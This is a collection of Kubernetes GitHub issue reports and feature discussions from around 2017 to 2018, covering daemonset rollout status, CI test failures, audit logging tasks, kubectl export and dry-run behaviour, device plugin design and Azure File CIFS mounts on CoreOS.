we have  sig ui  https://github.com/kubernetes/community/blob/master/sig-ui/readme.md , but there isn't a label  sig/ui  in the k/k repo. there is only  area/ui . do we need to add a label  sig/ui  or rename  area/ui  to  sig/ui ?\r \r @spiffxp @bryk @danielromlein

looks like the known image corruption issue, https://github.com/kubernetes/kubernetes/issues/47219 issuecomment-307449294, but happened twice in a row.\r \r https://k8s-testgrid.appspot.com/release-1.7-blocking gci-gke-reboot-release-1-7\r \r failed between 5afafb6f0 and 8bf891dd7.\r \r the diff is: https://github.com/kubernetes/kubernetes/compare/8bf891dd7...5afafb6f0\r \r only two prs are in the diffs:\r https://github.com/kubernetes/kubernetes/pull/48123\r https://github.com/kubernetes/kubernetes/pull/48238\r

as a followup of https://github.com/kubernetes/kubernetes/pull/50476.\r \r we need to test:\r   the feature works\r   it works in gke enviroment\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r kubectl rollout status on a daemonset sometimes is stuck forever. the daemonset's status reports unavailable pods even when all pods are running and ready.\r \r    \r $ kubectl -n monitoring rollout status ds <redacted>\r waiting for rollout to finish: 1 of 2 updated pods are available...\r    \r here's the status section of the daemonset:\r    \r status:\r   currentnumberscheduled: 2\r   desirednumberscheduled: 2\r   numberavailable: 1\r   numbermisscheduled: 0\r   numberready: 2\r   numberunavailable: 1\r   observedgeneration: 1\r   updatednumberscheduled: 2\r    \r \r here's the status sections of the pods:\r    \r   status:\r     conditions:\r     - lastprobetime: null\r       lasttransitiontime: 2017-09-25t21:13:05z\r       status: \ true\ \r       type: initialized\r     - lastprobetime: null\r       lasttransitiontime: 2017-09-25t21:16:14z\r       status: \ true\ \r       type: ready\r     - lastprobetime: null\r       lasttransitiontime: 2017-09-25t21:14:24z\r       status: \ true\ \r       type: podscheduled\r    \r \r    \r  status:\r     conditions:\r     - lastprobetime: null\r       lasttransitiontime: 2017-09-25t21:13:04z\r       status: \ true\ \r       type: initialized\r     - lastprobetime: null\r       lasttransitiontime: 2017-09-25t21:16:02z\r       status: \ true\ \r       type: ready\r     - lastprobetime: null\r       lasttransitiontime: 2017-09-25t21:14:28z\r       status: \ true\ \r       type: podscheduled\r    \r \r    \r $ date\r mon sep 25 22:18:39 utc 2017\r    \r \r   what you expected to happen  :\r kubectl rollout status should exit successfully when the rollout is complete. the daemonset should report all pods as available.\r \r   how to reproduce it  as minimally and precisely as possible   :\r can't reproduce it reliably, but it happened with this simple daemonset:\r    \r apiversion: extensions/v1beta1\r kind: daemonset\r metadata:\r   annotations: <redacted>\r   name: <redacted>\r   namespace: <redacted>\r spec:\r   minreadyseconds: 30\r   template:\r     metadata:\r       annotations: <redacted>\r       labels: <redacted>\r     spec:\r       affinity:\r         nodeaffinity:\r           requiredduringschedulingignoredduringexecution:\r             nodeselectorterms:\r             - matchexpressions:\r               - key: cloud.google.com/gke-nodepool\r                 operator: notin\r                 values:\r                 - <redacted>\r       containers:\r       - args: <redacted>\r         image: <redacted>\r         imagepullpolicy: always\r         name: <redacted>\r         ports: <redacted>\r         resources: {}\r         volumemounts: <redacted>\r       dnspolicy: clusterfirstwithhostnet\r       hostnetwork: true\r       volumes:\r       - downwardapi:\r           items:\r           - fieldref:\r               apiversion: v1\r               fieldpath: metadata.labels\r             path: labels\r           - fieldref:\r               apiversion: v1\r               fieldpath: metadata.namespace\r             path: namespace\r         name: podinfo\r   updatestrategy:\r     rollingupdate:\r       maxunavailable: 3\r     type: rollingupdate\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5\ , gitcommit:\ 17d7182a7ccbb167074be7a87f0a68bd00d58d97\ , gittreestate:\ clean\ , builddate:\ 2017-08-31t09:14:02z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5\ , gitcommit:\ 17d7182a7ccbb167074be7a87f0a68bd00d58d97\ , gittreestate:\ clean\ , builddate:\ 2017-08-31t08:56:23z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  : gke\r - os  e.g. from /etc/os-release : cos\r - kernel  e.g.  uname -a  :\r - install tools: gke\r - others:\r

is this a bug report or feature request?  :\r  \r   what happened  :\r pull-kubernetes-e2e-kops-aws failed\r there are many same error amog prs, such as\r https://github.com/kubernetes/kubernetes/pull/53035\r https://github.com/kubernetes/kubernetes/pull/53047\r https://github.com/kubernetes/kubernetes/pull/53098\r https://github.com/kubernetes/kubernetes/pull/53094\r ......\r \r w0927 03:02:38.316  2017/09/27 03:02:38 main.go:270: something went wrong: encountered 1 errors:  error during ./hack/ginkgo-e2e.sh --ginkgo.flakeattempts=2 --ginkgo.skip=\\ slow\\ |\\ serial\\ |\\ disruptive\\ |\\ flaky\\ |\\ feature:.+\\ |\\ hpa\\ |dashboard|services. functioning. nodeport --report-dir=/workspace/_artifacts --disable-log-dump=true  interrupted : exit status 1 \r w0927 03:02:39.242  run:  'sudo', 'chmod', '-r', 'o+r', '/var/lib/jenkins/workspace/pull-kubernetes-e2e-kops-aws/_artifacts' \r w0927 03:02:39.256  traceback  most recent call last :\r w0927 03:02:39.256    file \ /var/lib/jenkins/workspace/pull-kubernetes-e2e-kops-aws/./test-infra/jenkins/../scenarios/kubernetes_e2e.py\ , line 763, in <module>\r w0927 03:02:39.257      main parse_args   \r w0927 03:02:39.257    file \ /var/lib/jenkins/workspace/pull-kubernetes-e2e-kops-aws/./test-infra/jenkins/../scenarios/kubernetes_e2e.py\ , line 617, in main\r w0927 03:02:39.257      mode.start runner_args \r ... skipping 2 lines ...\r w0927 03:02:39.257    file \ /var/lib/jenkins/workspace/pull-kubernetes-e2e-kops-aws/./test-infra/jenkins/../scenarios/kubernetes_e2e.py\ , line 49, in check\r w0927 03:02:39.257      subprocess.check_call cmd \r w0927 03:02:39.258    file \ /usr/lib/python2.7/subprocess.py\ , line 186, in check_call\r w0927 03:02:39.258      raise calledprocesserror retcode, cmd \r w0927 03:02:39.259  subprocess.calledprocesserror: command ' 'docker', 'run', '--rm', '--name=pull-kubernetes-e2e-kops-aws-50640', '-v', '/var/lib/jenkins/workspace/pull-kubernetes-e2e-kops-aws/_artifacts:/workspace/_artifacts', '-v', '/etc/localtime:/etc/localtime:ro', '-v', '/var/run/docker.sock:/var/run/docker.sock', '-e', 'home=/workspace', '-e', 'workspace=/workspace', '--env-file', '/var/lib/jenkins/workspace/pull-kubernetes-e2e-kops-aws/./test-infra/jenkins/../scenarios/../jobs/platform/kops_aws.env', '--env-file', '/var/lib/jenkins/workspace/pull-kubernetes-e2e-kops-aws/./test-infra/jenkins/../scenarios/../jobs/env/pull-kubernetes-e2e-kops-aws.env', '-e', 'kubetest_manual_dump=y', '-v', '/var/lib/jenkins/workspace/pull-kubernetes-e2e-kops-aws@tmp/secretfiles/4b428021-22c6-4dfd-b85f-78e0161b2245/kubernetes-jenkins-pull-c67f9519f993.json:/service-account.json:ro', '-v', '/var/lib/jenkins/workspace/pull-kubernetes-e2e-kops-aws/go/src/k8s.io/kubernetes:/go/src/k8s.io/kubernetes', '-v', '/var/lib/jenkins/workspace/pull-kubernetes-e2e-kops-aws/go/src/k8s.io/release:/go/src/k8s.io/release', '-v', '/var/lib/jenkins/workspace/pull-kubernetes-e2e-kops-aws@tmp/secretfiles/202ac017-a2f3-487d-a57b-49fce01509ae/id_rsa.jenkins:/workspace/.ssh/kube_aws_rsa:ro', '-v', '/var/lib/jenkins/workspace/pull-kubernetes-e2e-kops-aws@tmp/secretfiles/62c4ec13-c720-4644-a718-20c13c90c145/id_rsa.jenkins.pub:/workspace/.ssh/kube_aws_rsa.pub:ro', '-v', '/var/lib/jenkins/workspace/pull-kubernetes-e2e-kops-aws@tmp/secretfiles/fbb37297-ed1f-4965-8a50-4b323d4b9e65/kubernetespresubmittests.txt:/workspace/.aws/credentials:ro', '-e', 'aws_profile=default', '-e', 'aws_default_profile=default', '-e', 'kops_regions=us-west-1', '--entrypoint=/workspace/kops-e2e-runner.sh', '-e', 'jenkins_home=/var/lib/jenkins', '-e', 'pull_base_ref=master', '-e', 'build_cause=manualtrigger', '-e', 'hudson_url=http://goto.google.com/prkubekins/', '-e', 'build_url=http://goto.google.com/prkubekins/job/pull-kubernetes-e2e-kops-aws/50640/', '-e', 'bootstrap_migration=yes', '-e', 'cloudsdk_config=/var/lib/jenkins/workspace/pull-kubernetes-e2e-kops-aws/go/src/k8s.io/kubernetes/.config/gcloud', '-e', 'build_tag=jenkins-pull-kubernetes-e2e-kops-aws-50640', '-e', 'hudson_server_cookie=32617aabcc4952a0', '-e', 'jenkins_url=http://goto.google.com/prkubekins/', '-e', 'logname=jenkins', '-e', 'user=jenkins', '-e', 'node_labels=agent-pr-09 pull', '-e', 'job_name=pull-kubernetes-e2e-kops-aws', '-e', 'lang=en_us.utf-8', '-e', 'run_display_url=http://goto.google.com/prkubekins/job/pull-kubernetes-e2e-kops-aws/50640/display/redirect', '-e', 'shell=/bin/bash', '-e', 'buildid=df785961-a327-11e7-915e-0a580a6c0003', '-e', 'hudson_home=/var/lib/jenkins', '-e', 'job_url=http://goto.google.com/prkubekins/job/pull-kubernetes-e2e-kops-aws/', '-e', 'root_build_cause_manualtrigger=true', '-e', 'build_cause_manualtrigger=true', '-e', 'gcs_artifacts_dir=gs://kubernetes-jenkins/pr-logs/pull/53035/pull-kubernetes-e2e-kops-aws/50640/artifacts', '-e', 'jenkins_aws_credentials_file=/var/lib/jenkins/workspace/pull-kubernetes-e2e-kops-aws@tmp/secretfiles/fbb37297-ed1f-4965-8a50-4b323d4b9e65/kubernetespresubmittests.txt', '-e', 'root_build_cause=manualtrigger', '-e', 'ssh_client=10.240.0.2 37053 22', '-e', 'build_id=50640', '-e', 'build_number=50640', '-e', 'xdg_runtime_dir=/run/user/1000', '-e', 'hudson_cookie=7470e8c0-998a-47f2-878a-d7cb6c403169', '-e', 'jenkins_aws_ssh_private_key_file=/var/lib/jenkins/workspace/pull-kubernetes-e2e-kops-aws@tmp/secretfiles/202ac017-a2f3-487d-a57b-49fce01509ae/id_rsa.jenkins', '-e', 'job_base_name=pull-kubernetes-e2e-kops-aws', '-e', 'run_changes_display_url=http://goto.google.com/prkubekins/job/pull-kubernetes-e2e-kops-aws/50640/display/redirect?page=changes', '-e', 'xdg_session_id=32', '-e', 'jenkins_gce_ssh_public_key_file=/home/jenkins/.ssh/google_compute_engine.pub', '-e', '_=./test-infra/jenkins/bootstrap.py', '-e', 'oldpwd=/home/jenkins', '-e', 'job_display_url=http://goto.google.com/prkubekins/job/pull-kubernetes-e2e-kops-aws/display/redirect', '-e', 'jenkins_aws_ssh_public_key_file=/var/lib/jenkins/workspace/pull-kubernetes-e2e-kops-aws@tmp/secretfiles/62c4ec13-c720-4644-a718-20c13c90c145/id_rsa.jenkins.pub', '-e', 'executor_number=0', '-e', 'node_name=agent-pr-09', '-e', 'pull_number=53035', '-e', 'shlvl=2', '-e', 'jenkins_server_cookie=32617aabcc4952a0', '-e', 'build_display_name= 50640', '-e', 'pull_refs=master:52f96dae45d51c951a9185f152440df859ff19c0,53035:822dd4c2fdc6372eb3cbcd9f61801d3209de9cfc', '-e', 'jenkins_gce_ssh_private_key_file=/home/jenkins/.ssh/google_compute_engine', '-e', 'mail=/var/mail/jenkins', '-e', 'ssh_connection=10.240.0.2 37053 10.240.0.7 22', '-e', 'cloudsdk_component_manager_disable_update_check=true', '-e', 'cloudsdk_experimental_fast_component_update=false', '-e', 'kube_aws_instance_prefix=e2e-50640', '-e', 'instance_prefix=e2e-50640', '-e', 'kube_gce_instance_prefix=e2e-50640', 'gcr.io/k8s-testimages/kubekins-e2e:v20170925-f564687f', '-v', '--dump=/workspace/_artifacts', '--gcp-service-account=/service-account.json', '--build', '--stage=gs://kubernetes-release-pull/ci/pull-kubernetes-e2e-kops-aws', '--kops-kubernetes-version=https://storage.googleapis.com/kubernetes-release-pull/ci/pull-kubernetes-e2e-kops-aws/v1.9.0-alpha.1.346+145b8579533644', '--up', '--down', '--test', '--cluster=e2e-50640', '--gcp-network=e2e-50640', '--check-leaked-resources=false', '--extract=local', '--provider=aws', '--test_args=--ginkgo.flakeattempts=2 --ginkgo.skip=\\\\ slow\\\\ |\\\\ serial\\\\ |\\\\ disruptive\\\\ |\\\\ flaky\\\\ |\\\\ feature:.+\\\\ |\\\\ hpa\\\\ |dashboard|services. functioning. nodeport', '--timeout=55m', '--kops-cluster=e2e-50640.test-aws.k8s.io', '--kops-zones=us-west-1c', '--kops-state=s3://k8s-kops-jenkins/', '--kops-nodes=4', '--kops-ssh-key=/workspace/.ssh/kube_aws_rsa' ' returned non-zero exit status 1\r i0927 03:02:39.270  starting pull-kubernetes-e2e-kops-aws-50640...\r e0927 03:02:39.270  command failed\r i0927 03:02:39.270  process 3294 exited with code 1 after 56.6m\r e0927 03:02:39.271  fail: pull-kubernetes-e2e-kops-aws\r i0927 03:02:39.271  upload result and artifacts...\r i0927 03:02:39.271  gubernator results at https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/53035/pull-kubernetes-e2e-kops-aws/50640\r i0927 03:02:39.272  call:  gsutil ls gs://kubernetes-jenkins/pr-logs/pull/53035/pull-kubernetes-e2e-kops-aws/50640/artifacts\r w0927 03:02:40.484  commandexception: one or more urls matched no objects.\r e0927 03:02:40.635  command failed\r i0927 03:02:40.636  process 6492 exited with code 1 after 0.0m\r w0927 03:02:40.636  remote dir gs://kubernetes-jenkins/pr-logs/pull/53035/pull-kubernetes-e2e-kops-aws/50640/artifacts not exist yet\r i0927 03:02:40.636  call:  gsutil -m -q -o gsutil:use_magicfile=true cp -r -c -z log,txt,xml /var/lib/jenkins/workspace/pull-kubernetes-e2e-kops-aws/_artifacts gs://kubernetes-jenkins/pr-logs/pull/53035/pull-kubernetes-e2e-kops-aws/50640/artifacts\r i0927 03:02:42.656  process 6626 exited with code 0 after 0.0m\r i0927 03:02:42.657  call:  git rev-parse head\r i0927 03:02:42.662  process 7239 exited with code 0 after 0.0m

this is a continuation of the work on the  advanced auditing feature  https://github.com/kubernetes/features/issues/22 , that was tracked for 1.8 release in https://github.com/kubernetes/kubernetes/issues/48561\r \r as discussed earlier, in 1.9 release api stays in beta for stabilization. here's the list of tasks for this k8s release:\r \r    api-related changes\r \r -  x  add a policy-wide  omitstages  field  more context in https://github.com/kubernetes/kubernetes/pull/49280 issuecomment-319711384 \r   - @caoshufeng is working on this in https://github.com/kubernetes/kubernetes/pull/54634\r -  x  fix the timestamps in the api  https://github.com/kubernetes/kubernetes/issues/52160 \r   - @caoshufeng is working on this in https://github.com/kubernetes/kubernetes/pull/52981\r \r    pipeline bugfixes\r \r -  x  make webhook parameters configurable\r   - @crassirostris is working on this in https://github.com/kubernetes/kubernetes/pull/56638 and https://github.com/kubernetes/kubernetes/pull/56890\r -  x  ~introduce buffering for the log backend to fix file writing bottleneck  https://github.com/kubernetes/kubernetes/issues/53006 ~\r   - deferred until the next release\r -  x  ~restore audit logging in the scalability tests  https://github.com/kubernetes/kubernetes/issues/53020 ~\r   - deferred until the next release\r -  x  shutdown http handlers before shutting down audit backend  https://github.com/kubernetes/kubernetes/issues/50781 \r   - @hzxuzhonghu is working on this in https://github.com/kubernetes/kubernetes/pull/54849\r -  x  policy without kind/apiversion is still valid  https://github.com/kubernetes/kubernetes/issues/54254 \r   - @ericchiang is working on this in https://github.com/kubernetes/kubernetes/pull/54267\r -  x  rate-limit batching webhook backend  https://github.com/kubernetes/kubernetes/issues/52907 \r   - @crassirostris is working on this in https://github.com/kubernetes/kubernetes/pull/53417, with the help of @hzxuzhonghu\r -  x  network errors are not retried  https://github.com/kubernetes/kubernetes/issues/52909 \r   - @crassirostris is working on this in https://github.com/kubernetes/kubernetes/pull/53947\r \r    policy changes\r \r -  x  ~gce audit policy should be made re-usable by other setups  https://github.com/kubernetes/kubernetes/issues/53321 ~\r   - deferred until the next release\r -  x  ~audit policy should be tested  e.g. that it includes all core resources, more context in https://github.com/kubernetes/kubernetes/issues/52265 issuecomment-329243972 ~\r   - deferred until the next release\r \r    misc\r \r -  x  kubectl sends empty patch requests, which results in addon manager spamming audit logs  https://github.com/kubernetes/kubernetes/issues/54010 \r   - @hzxuzhonghu is working on this in https://github.com/kubernetes/kubernetes/pull/54046\r \r    to discuss\r \r -  x  ~auditing federation setups  https://github.com/kubernetes/kubernetes/issues/50076 ~\r   - deferred until the next release\r -  x  ~auditing multi-apiserver setups~\r   - deferred until the next release\r \r /cc @sttts @soltysh @tallclair @ericchiang @caoshufeng @hzxuzhonghu

  \r   what happened  :\r when i do a  kubectl get -o yaml --export po/podname-v1-2722560640 \r \r    \r apiversion: v1\r kind: pod\r metadata:\r   annotations:\r     kubernetes.io/created-by: |\r       {\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicaset\ ,\ namespace\ :\ default\ ,\ name\ :\ podname-v1-2722560640\ ,\ uid\ :\ 3e72e70e-8f20-11e7-a635-0cc47ad9df50\ ,\ apiversion\ :\ extensions\ ,\ resourceversion\ :\ 73892987\ }}\r   creationtimestamp: null\r   generatename: podname-v1-2722560640-\r   labels:\r     app: podname-v1\r     pod-template-hash: \ 2722560640\ \r   ownerreferences:\r   - apiversion: extensions/v1beta1\r     controller: true\r     kind: replicaset\r     name: podname-v1-2722560640\r     uid: 3e72e70e-8f20-11e7-a635-0cc47ad9df50\r   selflink: /api/v1/namespaces/default/pods/podname-v1-2722560640-crn8r\r    \r \r so from the metadata the namespace field got stripped but in the selflink it is still there. whereas with other resources such as deployments, rs or rcs it would have resulted in:  /api/v1/namespaces//pods/podname-v1-2722560640-crn8r \r \r   what you expected to happen  :\r consistent behaviour in the stripping of the namespaces across all resources instead of being stripped for most and not for pods  maybe some others too? \r \r   how to reproduce it  as minimally and precisely as possible   :\r try to kubectl get --o=yaml --export on a deployment and on a pod and see the difference.\r \r   anything else we need to know?  :\r seems to be affecting all versions of kubectl right now. i've tried from 1.5.6 all the way up to 1.9.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:40:50z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.6\ , gitcommit:\ 114f8911f9597be669a747ab72787e0bd74c9359\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t13:36:31z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r affects the newest 1.9 kubectl too\r \r - cloud provider or hardware configuration:\r bare metal, 3 masters 7 workers\r \r - os  e.g. from /etc/os-release :\r slackware 9.1.0\r \r - kernel  e.g.  uname -a  :\r linux 4.4.29  1 smp mon oct 31 14:44:45 cdt 2016 x86_64 intel r  xeon r  cpu           e5420  @ 2.50ghz genuineintel gnu/linux\r \r - install tools:\r manual installation through kubelet\r \r - others:\r n/a\r

 \r it simplifies gce disks cloud provider logic and makes the logic more easily testable.\r \r  /assign

failing job\r  sig-release-master-blocking: gci-gke-serial  https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gke-serial \r \r    failing test\r   sig-network  dns configmap nameserver forward external name lookup should forward externalname lookup to upstream nameserver  slow  serial   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-serial/5640 \r \r    triage results\r https://storage.googleapis.com/k8s-gubernator/triage/index.html?sig=network&job=ci-kubernetes-e2e-gci-gke-serial&test=dns%20configmap%20nameserver%20forward%20external%20name%20lookup%20should%20forward%20externalname%20lookup%20to%20upstream%20nameserver\r \r has been failing consistently since 4/20. \r \r  / /  /milestone v1.11\r @kubernetes/sig-network-bugs \r \r cc @jberkus @tpepper\r \r /assign @dcbw for triage

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r \r \r  \r \r   what happened  :\r pod details are not passed in the  allocate  rpc and because of this network device plugins are not supported.\r \r   since when network device plugins were being discussed to be supported?  \r right from the very beginning.  here  https://github.com/kubernetes/community/blob/master/contributors/design-proposals/resource-management/device-plugin.md use-cases  it is mentioned in the very first use case of device plugin proposal, infiniband/rdma .\r \r   when did we notice this gap and raised a request for the first time? ~1.8  :  \r while reviewing the very  first pr  https://github.com/kubernetes/kubernetes/pull/51209  which was adding device plugin support, we raised this gap through review comments.\r   response that we got:  \r reason given at that time for not incorporating our request was limited time before code freeze and got suggestion to discuss it more in 1.9\r \r   what we did next to explain the requirement? ~1.9   \r \r we then tried to highlight the need with  write-ups  https://groups.google.com/forum/ !topic/kubernetes-wg-resource-management/t9lmwgu8txi ,  solarflare device plugin poc  https://github.com/vikaschoudhary16/sfc-device-plugin  and  by opening pr  https://github.com/kubernetes/kubernetes/pull/51938 .\r \r   response that we got:  \r cni/sig-network should handle networking stuff and we are open to extend the dpapi once there is a good user-story which really proves the need for extension and sig-network should also be involved in this.\r \r   what we did to prove the use case and involve sig-network?  ~1.10   \r we worked and got involved with network plumbing work group. this group has been working to come up with a multi-network solution,  kubernetes network custom resource definition de-facto standard\r   https://docs.google.com/document/d/1ny03h6idvy_e_vmeloqr7udtpag_rnydhve1kx54kfq/edit \r after some analysis we realized that device plugins are a perfect complement to this crd based defacto standard for certain very important use-cases like sr-iov and rdma infiniband . we prepared  proposal with this idea  https://docs.google.com/document/d/1tpyqgmjqoctm1oexqro0cgnb9oyk0vozhmhr6myy99m/edit heading=h.dp2sl8erwljy  and shared with sig-network folks. this idea got support from sig-network folks.\r with tim discussed the reasons of complexity in the solution because of \r \r - unix socket involved b/w cni and dp  \r   this was added in proposal because cni expects cni plugin to be a static binary. all agreed to \r   explore grpc based cni and plugin communication.\r - annotations involved\r   - annotations were suggested because of strong push-back in passing poduid. meanwhile, during all \r     this time, there has been demands to pass details to the dp from other non-networking use-cases as well for example  fpga use-cases  https://github.com/kubernetes/kubernetes/pull/61775 issuecomment-381947148 ,   monitoring proposal  https://docs.google.com/document/d/1_cdnwijpbqvdmvu82ajicqsscbh2br-y9a8uxjqm4ti/edit?ts=5ad8c454 \r   - tim said that he will discuss with vish to understand his concerns in passing poduid and to see if it is possible to pass poduid. we still looking for his feedback on this.\r \r   through this issue we want to understand better concerns in passing pod uid to the device plugin  \r \r @kubernetes/sig-network-api-reviews @kubernetes/sig-network-bugs @kubernetes/sig-network-feature-requests @thockin @vishh @jiayingz @jeremyeder @dcbw @bowei @derekwaynecarr @dchen1107 \r \r   /area hw-accelerators

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r creating a replicaset i've forgot to create a label in the pod for using it on the selector of the rs to specify which pods are to be managed by this rs.\r \r rs.yaml   without the label and selector   which are commented:\r    \r apiversion: extensions/v1beta1\r kind: replicaset\r metadata:\r   name: rs-redis\r spec:\r   replicas: 2\r    selector:\r      matchlabels:\r        app: redis\r   template:\r     metadata:\r       name: redis\r        labels:\r          app: redis\r     spec:\r       containers:\r         - name: redis\r           image: redis:alpine\r    \r so, running  kubectl apply -f rs.yaml --dry-run \r returns:\r \r > replicaset.extensions \ rs-redis\  created  dry run \r \r and running  kubectl apply -f rs.yaml  returns an error indicating what is missing, which is good:\r \r > the replicaset \ rs-redis\  is invalid: \r >   spec.selector: required value\r >   spec.template.metadata.labels: invalid value: map string string nil :  selector  does not match template  labels \r > \r \r and obviously, after changing the yaml and uncommenting the fields everything works.\r \r the behaviour is the same using  kubectl create  instead of  kubectl apply \r \r \r   what you expected to happen  :\r shouldn't the  kubectl apply --dry-run  fail if the command without  --dry-run  won't work?\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a replicaset using the yaml above and run:\r  kubectl apply -f rs.yaml --dry-run  \r and later:\r  kubectl apply -f rs.yaml   without the dry-run \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r > client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.4\ , gitcommit:\ 5ca598b4ba5abb89bb773071ce452e33fb66339d\ , gittreestate:\ clean\ , builddate:\ 2018-06-06t08:00:59z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r > server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.4\ , gitcommit:\ 5ca598b4ba5abb89bb773071ce452e33fb66339d\ , gittreestate:\ clean\ , builddate:\ 2018-06-06t08:00:59z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r > \r \r - cloud provider or hardware configuration:\r \r   i don't think the bug is related to the installation method.  \r \r i'm using kubespray to deploy 3 nodes on my laptop with vagrant. so i've just cloned:\r https://github.com/kubernetes-incubator/kubespray\r and changed the memory of the vms from 2gb to ~1.6gb  to prevent my laptop from swapping  in the vagrantfile. \r \r > $vm_memory = 1600\r \r the default conf creates 2 master nodes and 1 worker, all 3 nodes run etcd.\r after clonning kubespray, and adjusting the memory move to the dir and run vagrant up .\r \r \r - os  e.g. from /etc/os-release :\r \r os of the vms deployed using vagrant:\r \r  cat /etc/os-release  \r > name=\ ubuntu\ \r > version=\ 16.04.4 lts  xenial xerus \ \r > id=ubuntu\r > id_like=debian\r > pretty_name=\ ubuntu 16.04.4 lts\ \r > version_id=\ 16.04\ \r > home_url=\ http://www.ubuntu.com/\ \r > support_url=\ http://help.ubuntu.com/\ \r > bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r > version_codename=xenial\r > ubuntu_codename=xenial\r \r os of my laptop:\r \r  cat /etc/os-release  \r > name=\ ubuntu\ \r > version=\ 18.04 lts  bionic beaver \ \r > id=ubuntu\r > id_like=debian\r > pretty_name=\ ubuntu 18.04 lts\ \r > version_id=\ 18.04\ \r > home_url=\ https://www.ubuntu.com/\ \r > support_url=\ https://help.ubuntu.com/\ \r > bug_report_url=\ https://bugs.launchpad.net/ubuntu/\ \r > privacy_policy_url=\ https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\ \r > version_codename=bionic\r > ubuntu_codename=bionic\r \r - kernel  e.g.  uname -a  :\r \r kernel version of the vms deployed using vagrant:\r > linux tpl450 4.15.0-23-generic  25-ubuntu smp wed may 23 18:02:16 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r kernel version of my laptop:\r \r > linux tpl450 4.15.0-23-generic  25-ubuntu smp wed may 23 18:02:16 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r

 \r   what happened  :\r \r note: i think this is a bug of coreos, but taking into account silence from 2016 in  coreos bug  https://github.com/coreos/bugs/issues/571 , i did not expect it will be fixed there soon. so creating it here as it affects all people who are using kubernetes with coreos on azure.\r \r azure file  mount cifs  mount does not work on coreos. by default coreos does not provide  mount.cifs  binary. despite the fact binary available inside  hyperkube , mount still fails, because at the moment kubernetes executes mounts with  systemd-run  command which will use  mount  available on the host system.\r \r so azure file mount fails with \r    \r mountvolume.setup failed for volume \ pvc-xxx\  : exit status 32\r    \r \r kubernetes can help wit fixing this issue by using  mount.cifs  instead of  mount -t cifs , this will allow to put  mount.cifs  to  /opt/bin  on coreos which is read-write   /sbin  is read-only \r \r   what you expected to happen  :\r pod with azure file volume successfully started.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. deploy coreos-based k8s cluster on azure  e.g. you can use our  terraform  https://github.com/giantswarm/giantnetes-terraform   with containerized kubelet.\r 2. create azure file storage class like described in  docs  https://kubernetes.io/docs/concepts/storage/storage-classes/ azure-file \r 3. create pod and pvc  e.g. from this  gist  https://gist.github.com/r7vme/47caf64ca64a94a15583739acfcaa5e9  \r 4. pod will stuck in  containercreating \r \r   anything else we need to know?  :\r \r quick and dirty workaround that immediately fixes this problem  copy  mount.cifs  from hyperkube \r    \r mkdir /sbin2\r cp -a /sbin/  /sbin2\r   remove symlink\r rm -r /sbin\r mv /sbin2 /sbin\r   copy mount.cifs binary from kubelet container\r docker cp k8s-kubelet.service:/sbin/mount.cifs /sbin\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.4\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : container linux by coreos 1745.7.0  rhyolite \r - kernel  e.g.  uname -a  : 4.14.48-coreos-r2\r - install tools: https://github.com/giantswarm/azure-operator\r - others: -\r

